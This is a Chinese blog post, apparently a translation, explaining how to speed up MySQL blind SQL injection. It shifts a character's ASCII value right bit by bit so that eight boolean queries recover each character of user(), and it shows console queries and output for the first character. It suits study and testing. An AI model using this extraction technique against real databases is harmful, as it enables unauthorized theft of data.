mysql盲注ascii中文_[翻译]关于通过对8bit的ascii做右位移提高mysql盲注效率

该楼层疑似违规已被系统折叠 隐藏此楼查看此楼

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位

下面将以查询mysql数据库当中user()的第一位为例:

ps:第二位,第三位依次类推

select substr(user(),2,1) mysql> select substr(user(),3,1)

首先执行如下sql语句:

mysql> select (ascii((substr(user(),1,1))) >> 7)=0;

我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的 第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1 如果运算结果为1,说明第一位为0,不为1

+————————————–+|

(ascii((substr(user(),1,1))) >> 7)=0

|+————————————–+|

1

|+————————————–+

1 row in set (0.00 sec)

这样我们就确定这个8bit的ascii的第一位为0

第二次我们来做6次右偏移来确定前两位 前两位可能是01或00,即依然可以与0做比较,

mysql> select (ascii((substr(user(),1,1))) >> 6)=0;

+————————————–+|

(ascii((substr(user(),1,1))) >> 6)=0

|+————————————–+|

0

|+————————————–+

1 row in set (0.00 sec)

结果为0,即第二位为1

开始猜测前三位为010或011 让我们看看010和011的ascii码是多少

分别查询select b’011′ select b’010′ 获得结果 010 = 2 011 = 3

执行如下sql:

mysql> select (ascii((substr(user(),1,1))) >> 5)=2;

+————————————–+|

(ascii((substr(user(),1,1))) >> 5)=2

|+————————————–+|

0

|+————————————–+

即前三位不为010,而是011 直到获得最后一位

最终结果为:01110010

转换一下: select b’01110010′

查询结果

+————-+|

b’01110010′

|+————-+|

r

|+————-+

1 row in set (0.00 sec)

这样我们就获得了user()的第一位.其它位依此类推

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值